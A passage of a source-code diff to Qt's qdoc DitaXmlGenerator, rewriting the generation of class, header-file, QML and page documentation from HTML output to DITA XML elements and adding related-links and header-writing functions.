+ generateSectionInheritedList(*s, inner, marker);
+ ++s;
+ }
+ xmlWriter().writeEndElement(); // </section>
+ }
+
+ writeDetailedDescription(cn, marker, false, QString("Detailed Description"));
+
+ // not included: <example> or <apiImpl>
- sections = marker->sections(inner, CodeMarker::Detailed, CodeMarker::Okay);
- s = sections.begin();
- while (s != sections.end()) {
+ xmlWriter().writeEndElement(); // </cxxClassDetail>
+
+ // not included: <related-links>
+ // not included: <cxxClassNested>
+
+ QList<Section> detailSections;
+ detailSections = marker->sections(inner, CodeMarker::Detailed, CodeMarker::Okay);
+ s = detailSections.begin();
+ while (s != detailSections.end()) {
if ((*s).name == "Member Function Documentation") {
writeFunctions((*s),cn,marker);
}
else if ((*s).name == "Member Type Documentation") {
- writeEnumerations((*s),cn,marker);
- writeTypedefs((*s),cn,marker);
+ writeEnumerations((*s),marker);
+ writeTypedefs((*s),marker);
}
else if ((*s).name == "Member Variable Documentation") {
- writeDataMembers((*s),cn,marker);
+ writeDataMembers((*s),marker);
}
else if ((*s).name == "Property Documentation") {
- writeProperties((*s),cn,marker);
+ writeProperties((*s),marker);
}
else if ((*s).name == "Macro Documentation") {
- writeMacros((*s),cn,marker);
+ writeMacros((*s),marker);
}
++s;
}
- writer.writeEndElement(); // </cxxClass>
- }
-
-#ifdef WRITE_HTML
- Text subtitleText;
- if (rawTitle != fullTitle)
- subtitleText << "(" << Atom(Atom::AutoLink, fullTitle) << ")"
- << Atom(Atom::LineBreak);
-
- QString shortVersion;
- shortVersion = project + " " + shortVersion + ": ";
- shortVersion = myTree->version();
- if (shortVersion.count(QChar('.')) == 2)
- shortVersion.truncate(shortVersion.lastIndexOf(QChar('.')));
- if (!shortVersion.isEmpty()) {
- if (project == "QSA")
- shortVersion = "QSA " + shortVersion + ": ";
- else
- shortVersion = "Qt " + shortVersion + ": ";
- }
-
- out() << " <title>" << shortVersion << protectEnc(title) << "</title>\n";
-
-#if 0
- out() << QString(postHeader).replace("\\" + COMMAND_VERSION, myTree->version());
- generateBreadCrumbs(title,node,marker);
- out() << QString(postPostHeader).replace("\\" + COMMAND_VERSION, myTree->version());
-#endif
-
- sections = marker->sections(inner, CodeMarker::Summary, CodeMarker::Okay);
- generateTableOfContents(inner,marker,&sections);
- generateTitle(title, subtitleText, SmallSubTitle, inner, marker);
-#ifdef QDOC_QML
- if (cn && !cn->qmlElement().isEmpty()) {
- generateInstantiatedBy(cn,marker);
+ generateLowStatusMembers(inner,marker,CodeMarker::Obsolete);
+ generateLowStatusMembers(inner,marker,CodeMarker::Compat);
+ xmlWriter().writeEndElement(); // </cxxClass>
}
-#endif
-
- generateBrief(inner, marker);
- generateIncludes(inner, marker);
- generateStatus(inner, marker);
- if (cn) {
- generateInherits(cn, marker);
- generateInheritedBy(cn, marker);
- }
- generateThreadSafeness(inner, marker);
- generateSince(inner, marker);
-
- out() << "<ul>\n";
-
- QString membersLink = generateListOfAllMemberFile(inner, marker);
- if (!membersLink.isEmpty())
- out() << "<li><xref href=\"" << membersLink << "\">"
- << "List of all members, including inherited members</xref></li>\n";
-
- QString obsoleteLink = generateLowStatusMemberFile(inner,
- marker,
- CodeMarker::Obsolete);
- if (!obsoleteLink.isEmpty())
- out() << "<li><xref href=\"" << obsoleteLink << "\">"
- << "Obsolete members</xref></li>\n";
-
- QString compatLink = generateLowStatusMemberFile(inner,
- marker,
- CodeMarker::Compat);
- if (!compatLink.isEmpty())
- out() << "<li><xref href=\"" << compatLink << "\">"
- << "Qt 3 support members</xref></li>\n";
-
- out() << "</ul>\n";
-
- bool needOtherSection = false;
+ else if ((inner->type() == Node::Fake) && (inner->subType() == Node::HeaderFile)) {
+ const FakeNode* fn = const_cast<FakeNode*>(static_cast<const FakeNode*>(inner));
+ rawTitle = marker->plainName(inner);
+ fullTitle = marker->plainFullName(inner);
+ title = rawTitle;
- /*
- sections is built above for the call to generateTableOfContents().
- */
- s = sections.begin();
- while (s != sections.end()) {
- if (s->members.isEmpty() && s->reimpMembers.isEmpty()) {
- if (!s->inherited.isEmpty())
- needOtherSection = true;
+ /*
+ Note: Because the C++ specialization we are using
+ has no <cxxHeaderFile> element, we are using the
+ <cxxClass> element with an outputclass attribute
+ set to "headerfile" .
+ */
+ generateHeader(inner, fullTitle);
+ generateBrief(inner, marker); // <shortdesc>
+ xmlWriter().writeStartElement(CXXCLASSDETAIL);
+ xmlWriter().writeStartElement("apiDesc");
+ xmlWriter().writeAttribute("spectitle",title);
+ Text brief = fn->doc().briefText(); // zzz
+ if (!brief.isEmpty()) {
+ xmlWriter().writeStartElement("p");
+ generateText(brief, fn, marker);
+ xmlWriter().writeEndElement(); // </p>
+ }
+ generateIncludes(fn, marker);
+ generateStatus(fn, marker);
+ generateThreadSafeness(fn, marker);
+ generateSince(fn, marker);
+ xmlWriter().writeEndElement(); // </apiDesc>
+
+ bool needOtherSection = false;
+ QList<Section> summarySections;
+ summarySections = marker->sections(inner, CodeMarker::Summary, CodeMarker::Okay);
+ s = summarySections.begin();
+ while (s != summarySections.end()) {
+ if (s->members.isEmpty() && s->reimpMembers.isEmpty()) {
+ if (!s->inherited.isEmpty())
+ needOtherSection = true;
+ }
+ else {
+ QString attr;
+ if (!s->members.isEmpty()) {
+ xmlWriter().writeStartElement("section");
+ attr = cleanRef((*s).name).toLower() + " redundant";
+ xmlWriter().writeAttribute("outputclass",attr);
+ xmlWriter().writeStartElement("title");
+ xmlWriter().writeAttribute("outputclass","h2");
+ writeCharacters(protectEnc((*s).name));
+ xmlWriter().writeEndElement(); // </title>
+ generateSection(s->members, inner, marker, CodeMarker::Summary);
+ generateSectionInheritedList(*s, inner, marker);
+ xmlWriter().writeEndElement(); // </section>
+ }
+ if (!s->reimpMembers.isEmpty()) {
+ QString name = QString("Reimplemented ") + (*s).name;
+ attr = cleanRef(name).toLower() + " redundant";
+ xmlWriter().writeStartElement("section");
+ xmlWriter().writeAttribute("outputclass",attr);
+ xmlWriter().writeStartElement("title");
+ xmlWriter().writeAttribute("outputclass","h2");
+ writeCharacters(protectEnc(name));
+ xmlWriter().writeEndElement(); // </title>
+ generateSection(s->reimpMembers, inner, marker, CodeMarker::Summary);
+ generateSectionInheritedList(*s, inner, marker);
+ xmlWriter().writeEndElement(); // </section>
+ }
+ }
+ ++s;
}
- else {
- if (!s->members.isEmpty()) {
- out() << "<hr />\n";
- out() << "<a name=\""
- << registerRef((*s).name.toLower())
- << "\"></a>\n";
- out() << "<h2>" << protectEnc((*s).name) << "</h2>\n";
- generateSection(s->members, inner, marker, CodeMarker::Summary);
+ if (needOtherSection) {
+ xmlWriter().writeStartElement("section");
+ xmlWriter().writeAttribute("outputclass","additional-inherited-members redundant");
+ xmlWriter().writeStartElement("title");
+ xmlWriter().writeAttribute("outputclass","h3");
+ xmlWriter().writeCharacters("Additional Inherited Members");
+ xmlWriter().writeEndElement(); // </title>
+ s = summarySections.begin();
+ while (s != summarySections.end()) {
+ if (s->members.isEmpty())
+ generateSectionInheritedList(*s, inner, marker);
+ ++s;
}
- if (!s->reimpMembers.isEmpty()) {
- QString name = QString("Reimplemented ") + (*s).name;
- out() << "<hr />\n";
- out() << "<a name=\""
- << registerRef(name.toLower())
- << "\"></a>\n";
- out() << "<h2>" << protectEnc(name) << "</h2>\n";
- generateSection(s->reimpMembers, inner, marker, CodeMarker::Summary);
+ xmlWriter().writeEndElement(); // </section>
+ }
+
+ writeDetailedDescription(fn, marker, false, QString("Detailed Description"));
+ xmlWriter().writeEndElement(); // </cxxClassDetail>
+
+ // not included: <related-links>
+ // not included: <cxxClassNested>
+
+ QList<Section> detailSections;
+ detailSections = marker->sections(inner, CodeMarker::Detailed, CodeMarker::Okay);
+ s = detailSections.begin();
+ while (s != detailSections.end()) {
+ if ((*s).name == "Classes") {
+ writeNestedClasses((*s),fn);
+ break;
}
+ ++s;
+ }
- if (!s->inherited.isEmpty()) {
- out() << "<ul>\n";
- generateSectionInheritedList(*s, inner, marker, true);
- out() << "</ul>\n";
+ s = detailSections.begin();
+ while (s != detailSections.end()) {
+ if ((*s).name == "Function Documentation") {
+ writeFunctions((*s),fn,marker);
+ }
+ else if ((*s).name == "Type Documentation") {
+ writeEnumerations((*s),marker);
+ writeTypedefs((*s),marker);
+ }
+ else if ((*s).name == "Namespaces") {
+ qDebug() << "Nested namespaces" << outFileName();
+ }
+ else if ((*s).name == "Macro Documentation") {
+ writeMacros((*s),marker);
}
+ ++s;
}
- ++s;
+ generateLowStatusMembers(inner,marker,CodeMarker::Obsolete);
+ generateLowStatusMembers(inner,marker,CodeMarker::Compat);
+ xmlWriter().writeEndElement(); // </cxxClass>
}
+ else if ((inner->type() == Node::Fake) && (inner->subType() == Node::QmlClass)) {
+ const QmlClassNode* qcn = const_cast<QmlClassNode*>(static_cast<const QmlClassNode*>(inner));
+ const ClassNode* cn = qcn->classNode();
+ rawTitle = marker->plainName(inner);
+ fullTitle = marker->plainFullName(inner);
+ title = rawTitle + " Element Reference";
+ //QString fullTitle = fake->fullTitle();
+ //QString htmlTitle = fullTitle;
- if (needOtherSection) {
- out() << "<h3>Additional Inherited Members</h3>\n"
- "<ul>\n";
+ generateHeader(inner, fullTitle);
+ generateBrief(inner, marker); // <shortdesc>
- s = sections.begin();
- while (s != sections.end()) {
- if (s->members.isEmpty() && !s->inherited.isEmpty())
- generateSectionInheritedList(*s, inner, marker);
+ // not included: <prolog>
+
+ xmlWriter().writeStartElement(CXXCLASSDETAIL);
+ xmlWriter().writeStartElement("apiDesc");
+ xmlWriter().writeAttribute("spectitle",title);
+ Text brief = qcn->doc().briefText(); // zzz
+ if (!brief.isEmpty()) {
+ xmlWriter().writeStartElement("p");
+ generateText(brief, qcn, marker);
+ xmlWriter().writeEndElement(); // </p>
+ }
+ generateQmlInstantiates(qcn, marker);
+ generateQmlInherits(qcn, marker);
+ generateQmlInheritedBy(qcn, marker);
+ generateSince(qcn, marker);
+ xmlWriter().writeEndElement(); // </apiDesc>
+
+ QList<Section> summarySections;
+ summarySections = marker->qmlSections(qcn,CodeMarker::Summary,0);
+ s = summarySections.begin();
+ while (s != summarySections.end()) {
+ QString attr;
+ if (!s->members.isEmpty()) {
+ xmlWriter().writeStartElement("section");
+ attr = cleanRef((*s).name).toLower() + " redundant";
+ xmlWriter().writeAttribute("outputclass",attr);
+ xmlWriter().writeStartElement("title");
+ xmlWriter().writeAttribute("outputclass","h2");
+ writeCharacters(protectEnc((*s).name));
+ xmlWriter().writeEndElement(); // </title>
+ generateQmlSummary(*s,qcn,marker);
+ //generateSection(s->members, inner, marker, CodeMarker::Summary);
+ //generateSectionInheritedList(*s, inner, marker);
+ xmlWriter().writeEndElement(); // </section>
+ }
++s;
}
- out() << "</ul>\n";
- }
-
- out() << "<a name=\"" << registerRef("details") << "\"></a>\n";
-
- if (!inner->doc().isEmpty()) {
- out() << "<hr />\n"
- << "<div class=\"descr\"/>\n" // QTBUG-9504
- << "<h2>" << "Detailed Description" << "</h2>\n";
- generateBody(inner, marker);
- out() << "</div>\n"; // QTBUG-9504
- generateAlsoList(inner, marker);
- }
-
- sections = marker->sections(inner, CodeMarker::Detailed, CodeMarker::Okay);
- s = sections.begin();
- while (s != sections.end()) {
- out() << "<hr />\n";
- if (!(*s).divClass.isEmpty())
- out() << "<div class=\"" << (*s).divClass << "\"/>\n"; // QTBUG-9504
- out() << "<h2>" << protectEnc((*s).name) << "</h2>\n";
-
- NodeList::ConstIterator m = (*s).members.begin();
- while (m != (*s).members.end()) {
- if ((*m)->access() != Node::Private) { // ### check necessary?
- if ((*m)->type() != Node::Class)
- generateDetailedMember(*m, inner, marker);
- else {
- out() << "<h3> class ";
- generateFullName(*m, inner, marker);
- out() << "</h3>";
- generateBrief(*m, marker, inner);
- }
+
+ writeDetailedDescription(qcn, marker, false, QString("Detailed Description"));
+ if (cn)
+ generateQmlText(cn->doc().body(), cn, marker, qcn->name());
- QStringList names;
- names << (*m)->name();
- if ((*m)->type() == Node::Function) {
- const FunctionNode *func = reinterpret_cast<const FunctionNode *>(*m);
- if (func->metaness() == FunctionNode::Ctor ||
- func->metaness() == FunctionNode::Dtor ||
- func->overloadNumber() != 1)
- names.clear();
- }
- else if ((*m)->type() == Node::Property) {
- const PropertyNode *prop = reinterpret_cast<const PropertyNode *>(*m);
- if (!prop->getters().isEmpty() &&
- !names.contains(prop->getters().first()->name()))
- names << prop->getters().first()->name();
- if (!prop->setters().isEmpty())
- names << prop->setters().first()->name();
- if (!prop->resetters().isEmpty())
- names << prop->resetters().first()->name();
- }
- else if ((*m)->type() == Node::Enum) {
- const EnumNode *enume = reinterpret_cast<const EnumNode*>(*m);
- if (enume->flagsType())
- names << enume->flagsType()->name();
-
- foreach (const QString &enumName,
- enume->doc().enumItemNames().toSet() -
- enume->doc().omitEnumItemNames().toSet())
- names << plainCode(marker->markedUpEnumValue(enumName,
- enume));
+ QList<Section> detailSections;
+ detailSections = marker->qmlSections(qcn,CodeMarker::Detailed,0);
+ s = detailSections.begin();
+ while (s != detailSections.end()) {
+ if (!s->members.isEmpty()) {
+ QString attr;
+ inSection = true;
+ xmlWriter().writeStartElement("section");
+ attr = cleanRef((*s).name).toLower();
+ xmlWriter().writeAttribute("outputclass",attr);
+ xmlWriter().writeStartElement("title");
+ xmlWriter().writeAttribute("outputclass","h2");
+ writeCharacters(protectEnc((*s).name));
+ xmlWriter().writeEndElement(); // </title>
+ NodeList::ConstIterator m = (*s).members.begin();
+ while (m != (*s).members.end()) {
+ generateDetailedQmlMember(*m, qcn, marker);
+ ++m;
}
+ xmlWriter().writeEndElement(); // </section>
+ inSection = false;
}
- ++m;
+ ++s;
}
- if (!(*s).divClass.isEmpty())
- out() << "</div>\n"; // QTBUG-9504
- ++s;
+
+ xmlWriter().writeEndElement(); // </cxxClassDetail>
+ xmlWriter().writeEndElement(); // </cxxClass>
}
-#endif
+}
+
+
+/*!
+ Write a list item for a \a link with the given \a text.
+ */
+void DitaXmlGenerator::writeXrefListItem(const QString& link, const QString& text)
+{
+ xmlWriter().writeStartElement("li");
+ xmlWriter().writeStartElement("xref");
+ xmlWriter().writeAttribute("href",link);
+ writeCharacters(text);
+ xmlWriter().writeEndElement(); // </xref>
+ xmlWriter().writeEndElement(); // </li>
}
/*!
Generate the html page for a qdoc file that doesn't map
to an underlying c++ file.
*/
-void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker)
+void DitaXmlGenerator::generateFakeNode(const FakeNode* fake, CodeMarker* marker)
{
- return; // zzz
-
SubTitleSize subTitleSize = LargeSubTitle;
QList<Section> sections;
QList<Section>::const_iterator s;
@@ -1701,154 +2025,127 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker
htmlTitle = fullTitle;
}
- generateHeader(fake);
-
- /*
- Generate the TOC for the new doc format.
- Don't generate a TOC for the home page.
- */
- if (fake->name() != QString("index.html"))
- generateTableOfContents(fake,marker,0);
-
- generateTitle(fullTitle,
- Text() << fake->subTitle(),
- subTitleSize,
- fake,
- marker);
-
+ generateHeader(fake, fullTitle);
+ generateBrief(fake, marker); // <shortdesc>
+ xmlWriter().writeStartElement("body");
if (fake->subType() == Node::Module) {
- // Generate brief text and status for modules.
- generateBrief(fake, marker);
generateStatus(fake, marker);
-
if (moduleNamespaceMap.contains(fake->name())) {
- out() << "<a name=\"" << registerRef("namespaces") << "\"></a>\n";
- out() << "<h2>Namespaces</h2>\n";
+ xmlWriter().writeStartElement("section");
+ xmlWriter().writeAttribute("outputclass","namespaces");
+ xmlWriter().writeStartElement("title");
+ xmlWriter().writeAttribute("outputclass","h2");
+ xmlWriter().writeCharacters("Namespaces");
+ xmlWriter().writeEndElement(); // </title>
generateAnnotatedList(fake, marker, moduleNamespaceMap[fake->name()]);
+ xmlWriter().writeEndElement(); // </section>
}
if (moduleClassMap.contains(fake->name())) {
- out() << "<a name=\"" << registerRef("classes") << "\"></a>\n";
- out() << "<h2>Classes</h2>\n";
+ xmlWriter().writeStartElement("section");
+ xmlWriter().writeAttribute("outputclass","classes");
+ xmlWriter().writeStartElement("title");
+ xmlWriter().writeAttribute("outputclass","h2");
+ xmlWriter().writeCharacters("Classes");
+ xmlWriter().writeEndElement(); // </title>
generateAnnotatedList(fake, marker, moduleClassMap[fake->name()]);
+ xmlWriter().writeEndElement(); // </section>
}
}
- else if (fake->subType() == Node::HeaderFile) {
- // Generate brief text and status for modules.
- generateBrief(fake, marker);
- generateStatus(fake, marker);
-
- out() << "<ul>\n";
- QString membersLink = generateListOfAllMemberFile(fake, marker);
- if (!membersLink.isEmpty())
- out() << "<li><xref href=\"" << membersLink << "\">"
- << "List of all members, including inherited members</xref></li>\n";
-
- QString obsoleteLink = generateLowStatusMemberFile(fake,
- marker,
- CodeMarker::Obsolete);
- if (!obsoleteLink.isEmpty())
- out() << "<li><xref href=\"" << obsoleteLink << "\">"
- << "Obsolete members</xref></li>\n";
-
- QString compatLink = generateLowStatusMemberFile(fake,
- marker,
- CodeMarker::Compat);
- if (!compatLink.isEmpty())
- out() << "<li><xref href=\"" << compatLink << "\">"
- << "Qt 3 support members</xref></li>\n";
-
- out() << "</ul>\n";
+ if (fake->doc().isEmpty()) {
+ if (fake->subType() == Node::File) {
+ Text text;
+ Quoter quoter;
+ xmlWriter().writeStartElement("p");
+ xmlWriter().writeAttribute("outputclass", "small-subtitle");
+ text << fake->subTitle();
+ generateText(text, fake, marker);
+ xmlWriter().writeEndElement(); // </p>
+ Doc::quoteFromFile(fake->doc().location(), quoter, fake->name());
+ QString code = quoter.quoteTo(fake->location(), "", "");
+ text.clear();
+ text << Atom(Atom::Code, code);
+ generateText(text, fake, marker);
+ }
}
-#ifdef QDOC_QML
- else if (fake->subType() == Node::QmlClass) {
- const QmlClassNode* qml_cn = static_cast<const QmlClassNode*>(fake);
- const ClassNode* cn = qml_cn->classNode();
- generateQmlInherits(qml_cn, marker);
- generateQmlInstantiates(qml_cn, marker);
- generateBrief(qml_cn, marker);
- generateQmlInheritedBy(qml_cn, marker);
- sections = marker->qmlSections(qml_cn,CodeMarker::Summary,0);
- s = sections.begin();
- while (s != sections.end()) {
- out() << "<a name=\"" << registerRef((*s).name) << "\"></a>\n";
- out() << "<h2>" << protectEnc((*s).name) << "</h2>\n";
- generateQmlSummary(*s,fake,marker);
- ++s;
+ else {
+ if (fake->subType() == Node::Module) {
+ writeDetailedDescription(fake, marker, false, QString("Detailed Description"));
}
-
- out() << "<a name=\"" << registerRef("details") << "\"></a>\n";
- out() << "<h2>" << "Detailed Description" << "</h2>\n";
- generateBody(fake, marker);
- if (cn)
- generateQmlText(cn->doc().body(), cn, marker, fake->name());
+ else
+ writeDetailedDescription(fake, marker, false, QString());
generateAlsoList(fake, marker);
- out() << "<hr />\n";
-
- sections = marker->qmlSections(qml_cn,CodeMarker::Detailed,0);
- s = sections.begin();
- while (s != sections.end()) {
- out() << "<h2>" << protectEnc((*s).name) << "</h2>\n";
- NodeList::ConstIterator m = (*s).members.begin();
- while (m != (*s).members.end()) {
- generateDetailedQmlMember(*m, fake, marker);
- out() << "<br/>\n";
- ++m;
+
+ if (!fake->groupMembers().isEmpty()) {
+ NodeMap groupMembersMap;
+ foreach (const Node *node, fake->groupMembers()) {
+ if (node->type() == Node::Class || node->type() == Node::Namespace)
+ groupMembersMap[node->name()] = node;
}
- ++s;
+ generateAnnotatedList(fake, marker, groupMembersMap);
}
- return;
- }
-#endif
-
- sections = marker->sections(fake, CodeMarker::Summary, CodeMarker::Okay);
- s = sections.begin();
- while (s != sections.end()) {
- out() << "<a name=\"" << registerRef((*s).name) << "\"></a>\n";
- out() << "<h2>" << protectEnc((*s).name) << "</h2>\n";
- generateSectionList(*s, fake, marker, CodeMarker::Summary);
- ++s;
- }
-
- Text brief = fake->doc().briefText();
- if (fake->subType() == Node::Module && !brief.isEmpty()) {
- out() << "<a name=\"" << registerRef("details") << "\"></a>\n";
- out() << "<div class=\"descr\"/>\n"; // QTBUG-9504
- out() << "<h2>" << "Detailed Description" << "</h2>\n";
}
- else
- out() << "<div class=\"descr\"/>\n"; // QTBUG-9504
+ xmlWriter().writeEndElement(); // </body>
+ writeRelatedLinks(fake, marker);
+ xmlWriter().writeEndElement(); // </topic>
+}
- generateBody(fake, marker);
- out() << "</div>\n"; // QTBUG-9504
- generateAlsoList(fake, marker);
+/*!
+ This function writes a \e{<link>} element inside a
+ \e{<related-links>} element.
- if (!fake->groupMembers().isEmpty()) {
- NodeMap groupMembersMap;
- foreach (const Node *node, fake->groupMembers()) {
- if (node->type() == Node::Class || node->type() == Node::Namespace)
- groupMembersMap[node->name()] = node;
- }
- generateAnnotatedList(fake, marker, groupMembersMap);
+ \sa writeRelatedLinks()
+ */
+void DitaXmlGenerator::writeLink(const Node* node,
+ const QString& text,
+ const QString& role)
+{
+ if (node) {
+ QString link = fileName(node) + "#" + node->guid();
+ xmlWriter().writeStartElement("link");
+ xmlWriter().writeAttribute("href", link);
+ xmlWriter().writeAttribute("role", role);
+ xmlWriter().writeStartElement("linktext");
+ writeCharacters(text);
+ xmlWriter().writeEndElement(); // </linktext>
+ xmlWriter().writeEndElement(); // </link>
}
+}
- sections = marker->sections(fake, CodeMarker::Detailed, CodeMarker::Okay);
- s = sections.begin();
- while (s != sections.end()) {
- out() << "<hr />\n";
- out() << "<h2>" << protectEnc((*s).name) << "</h2>\n";
-
- NodeList::ConstIterator m = (*s).members.begin();
- while (m != (*s).members.end()) {
- generateDetailedMember(*m, fake, marker);
- ++m;
- }
- ++s;
+/*!
+ This function writes a \e{<related-links>} element, which
+ contains the \c{next}, \c{previous}, and \c{start}
+ links for topic pages that have them. Note that the
+ value of the \e role attribute is \c{parent} for the
+ \c{start} link.
+ */
+void DitaXmlGenerator::writeRelatedLinks(const FakeNode* node, CodeMarker* marker)
+{
+ const Node* linkNode = 0;
+ QPair<QString,QString> linkPair;
+ if (node && !node->links().empty()) {
+ xmlWriter().writeStartElement("related-links");
+ if (node->links().contains(Node::PreviousLink)) {
+ linkPair = node->links()[Node::PreviousLink];
+ linkNode = findNodeForTarget(linkPair.first, node, marker);
+ writeLink(linkNode, linkPair.second, "previous");
+ }
+ if (node->links().contains(Node::NextLink)) {
+ linkPair = node->links()[Node::NextLink];
+ linkNode = findNodeForTarget(linkPair.first, node, marker);
+ writeLink(linkNode, linkPair.second, "next");
+ }
+ if (node->links().contains(Node::StartLink)) {
+ linkPair = node->links()[Node::StartLink];
+ linkNode = findNodeForTarget(linkPair.first, node, marker);
+ writeLink(linkNode, linkPair.second, "parent");
+ }
+ xmlWriter().writeEndElement(); // </related-links>
}
}
/*!
- Returns "xml" for this subclass of Generator.
+ Returns "xml" for this subclass of class Generator.
*/
QString DitaXmlGenerator::fileExtension(const Node * /* node */) const
{
@@ -1856,172 +2153,146 @@ QString DitaXmlGenerator::fileExtension(const Node * /* node */) const
}
/*!
- Output breadcrumb list in the html file.
+ Writes an XML file header to the current XML stream. This
+ depends on which kind of DITA XML file is being generated,
+ which is determined by the \a node type and subtype and the
+ \a subpage flag. If the \subpage flag is true, a \c{<topic>}
+ header is written, regardless of the type of \a node.
*/
-void DitaXmlGenerator::generateBreadCrumbs(const QString& title,
- const Node *node,
- CodeMarker *marker)
+void DitaXmlGenerator::generateHeader(const Node* node,
+ const QString& name,
+ bool subpage)
{
- Text breadcrumb;
- if (node->type() == Node::Class) {
- const ClassNode* cn = static_cast<const ClassNode*>(node);
- QString name = node->moduleName();
- out() << " <li><xref href=\"modules.html\">All Modules</xref></li>";
- if (!name.isEmpty()) {
- out() << " <li>";
- breadcrumb << Atom(Atom::AutoLink,name);
- generateText(breadcrumb, node, marker);
- out() << "</li>\n";
- }
- breadcrumb.clear();
- if (!cn->name().isEmpty()) {
- out() << " <li>";
- breadcrumb << Atom(Atom::AutoLink,cn->name());
- generateText(breadcrumb, 0, marker);
- out() << "</li>\n";
- }
- }
- else if (node->type() == Node::Fake) {
- const FakeNode* fn = static_cast<const FakeNode*>(node);
- if (node->subType() == Node::Module) {
- out() << " <li><xref href=\"modules.html\">All Modules</xref></li>";
- QString name = node->name();
- if (!name.isEmpty()) {
- out() << " <li>";
- breadcrumb << Atom(Atom::AutoLink,name);
- generateText(breadcrumb, 0, marker);
- out() << "</li>\n";
- }
- }
- else if (node->subType() == Node::Group) {
- if (fn->name() == QString("modules"))
- out() << " <li><xref href=\"modules.html\">All Modules</xref></li>";
- else {
- out() << " <li><xref href=\"" << fn->name() << "\">" << title
- << "</xref></li>";
- }
- }
- else if (node->subType() == Node::Page) {
- if (fn->name() == QString("examples.html")) {
- out() << " <li><xref href=\"all-examples.html\">Examples</xref></li>";
- }
- else if (fn->name().startsWith("examples-")) {
- out() << " <li><xref href=\"all-examples.html\">Examples</xref></li>";
- out() << " <li><xref href=\"" << fn->name() << "\">" << title
- << "</xref></li>";
- }
- else if (fn->name() == QString("namespaces.html")) {
- out() << " <li><xref href=\"namespaces.html\">All Namespaces</xref></li>";
- }
- else {
- out() << " <li><xref href=\"" << fn->name() << "\">" << title
- << "</xref></li>";
- }
- }
- else if (node->subType() == Node::QmlClass) {
- out() << " <li><xref href=\"qdeclarativeelements.html\">QML Elements</xref></li>";
- out() << " <li><xref href=\"" << fn->name() << "\">" << title
- << "</xref></li>";
- }
- else if (node->subType() == Node::Example) {
- out() << " <li><xref href=\"all-examples.html\">Examples</xref></li>";
- QStringList sl = fn->name().split('/');
- QString name = "examples-" + sl.at(0) + ".html";
- QString t = CodeParser::titleFromName(name);
- out() << " <li><xref href=\"" << name << "\">"
- << t << "</xref></li>";
- out() << " <li><xref href=\"" << sl.at(0)
- << "-" << sl.at(sl.size()-1) << ".html\">"
- << title << "</xref></li>";
- }
- }
- else if (node->type() == Node::Namespace) {
- const NamespaceNode* nsn = static_cast<const NamespaceNode*>(node);
- out() << " <li><xref href=\"namespaces.html\">All Namespaces</xref></li>";
- out() << " <li><xref href=\"" << fileName(nsn) << "\">" << title
- << "</xref></li>";
- }
-}
-
-void DitaXmlGenerator::generateHeader(const Node* node)
-{
- writer.setDevice(out().device());
- writer.setAutoFormatting(true);
- writer.setAutoFormattingIndent(4);
- writer.writeStartDocument();
-
if (!node)
return;
- QString docType;
+ QString doctype;
+ QString mainElement;
+ QString nameElement;
QString dtd;
+ QString base;
QString version;
+ QString outputclass;
+
if (node->type() == Node::Class) {
- docType = "cxxClass";
+ mainElement = "cxxClass";
+ nameElement = "apiName";
dtd = "dtd/cxxClass.dtd";
version = "0.6.0";
+ doctype = "<!DOCTYPE " + mainElement +
+ " PUBLIC \"-//NOKIA//DTD DITA C++ API Class Reference Type v" +
+ version + "//EN\" \"" + dtd + "\">";
}
-
- QString doctype = "<!DOCTYPE " + docType +
- " PUBLIC \"-//NOKIA//DTD DITA C++ API Class Reference Type v" +
- version + "//EN\" \"" + dtd + "\">";
- writer.writeDTD(doctype);
- writer.writeComment(node->doc().location().fileName());
-}
-
-void DitaXmlGenerator::generateTitle(const QString& title,
- const Text &subTitle,
- SubTitleSize subTitleSize,
- const Node *relative,
- CodeMarker *marker)
-{
- if (!title.isEmpty())
- out() << "<h1 class=\"title\">" << protectEnc(title) << "</h1>\n";
- if (!subTitle.isEmpty()) {
- out() << "<span";
- if (subTitleSize == SmallSubTitle)
- out() << " class=\"small-subtitle\">";
- else
- out() << " class=\"subtitle\">";
- generateText(subTitle, relative, marker);
- out() << "</span>\n";
+ else if (node->type() == Node::Namespace) {
+ mainElement = "cxxClass";
+ nameElement = "apiName";
+ dtd = "dtd/cxxClass.dtd";
+ version = "0.6.0";
+ doctype = "<!DOCTYPE " + mainElement +
+ " PUBLIC \"-//NOKIA//DTD DITA C++ API Class Reference Type v" +
+ version + "//EN\" \"" + dtd + "\">";
+ outputclass = "namespace";
+ }
+ else if (node->type() == Node::Fake || subpage) {
+ if (node->subType() == Node::HeaderFile) {
+ mainElement = "cxxClass";
+ nameElement = "apiName";
+ dtd = "dtd/cxxClass.dtd";
+ version = "0.6.0";
+ doctype = "<!DOCTYPE " + mainElement +
+ " PUBLIC \"-//NOKIA//DTD DITA C++ API Class Reference Type v" +
+ version + "//EN\" \"" + dtd + "\">";
+ outputclass = "headerfile";
+ }
+ else if (node->subType() == Node::QmlClass) {
+ mainElement = "cxxClass";
+ nameElement = "apiName";
+ dtd = "dtd/cxxClass.dtd";
+ version = "0.6.0";
+ doctype = "<!DOCTYPE " + mainElement +
+ " PUBLIC \"-//NOKIA//DTD DITA C++ API Class Reference Type v" +
+ version + "//EN\" \"" + dtd + "\">";
+ outputclass = "QML-class";
+ }
+ else {
+ mainElement = "topic";
+ nameElement = "title";
+ dtd = "dtd/topic.dtd";
+ doctype = "<!DOCTYPE " + mainElement +
+ " PUBLIC \"-//OASIS//DTD DITA Topic//EN\" \"" + dtd + "\">";
+ switch (node->subType()) {
+ case Node::Page:
+ outputclass = "page";
+ break;
+ case Node::Group:
+ outputclass = "group";
+ break;
+ case Node::Example:
+ outputclass = "example";
+ break;
+ case Node::File:
+ outputclass = "file";
+ break;
+ case Node::Image: // not used
+ outputclass = "image";
+ break;
+ case Node::Module:
+ outputclass = "module";
+ break;
+ case Node::ExternalPage: // not used
+ outputclass = "externalpage";
+ break;
+ default:
+ outputclass = "page";
+ }
+ }
}
+
+ xmlWriter().writeDTD(doctype);
+ xmlWriter().writeComment(node->doc().location().fileName());
+ xmlWriter().writeStartElement(mainElement);
+ xmlWriter().writeAttribute("id",node->guid());
+ if (!outputclass.isEmpty())
+ xmlWriter().writeAttribute("outputclass",outputclass);
+ xmlWriter().writeStartElement(nameElement); // <title> or <apiName>
+ writeCharacters(name);
+ xmlWriter().writeEndElement(); // </title> or </apiName>
}
/*!
- Outputs the brief command as a <shortdesc" element.
